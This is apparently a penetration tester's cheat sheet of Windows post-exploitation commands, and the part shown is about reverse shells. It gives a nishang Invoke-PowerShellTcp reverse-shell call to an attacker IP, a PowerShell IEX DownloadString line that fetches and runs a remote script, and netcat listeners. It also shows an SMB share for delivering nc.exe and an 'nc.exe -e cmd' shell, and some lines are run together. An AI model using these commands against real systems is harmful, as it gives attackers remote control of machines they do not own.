Useful commands
Reverse Shell File
# Payload
https://podalirius.net/en/articles/windows-reverse-shells-cheatsheet/
# File
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1#Add at the end of the file
Invoke-PowerShellTcp -Reverse -IPAddress <attacker-ip> -Port <attacker-port>
#Host the file
python3 -m http.server 8888
#Set up listener
nc -nlvp 4444powershell IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1:4444/shell.ps1')#Set up listener
nc -nlvp 4444
#Host the file in share folder (run from above)
impacket-smbserver -smb2support share share#Download the file
copy \\<IP>\share\nc.exe .
#Run command
nc.exe <IP> <PORT> -e cmdReverse shell generator
File upload
File exfiltration
Check if command is executed via cmd or powershell
World writeable paths
Check writeable paths script
Internal port forwarding
Kali ssh configuration
Connection
Connections
RDP Connection
Evil-winrm
PsExec /wmiexec / smbexec
Powershell BASE64 obfuscation
Powershell scripts do not run
Windows kernel exploits
Last updated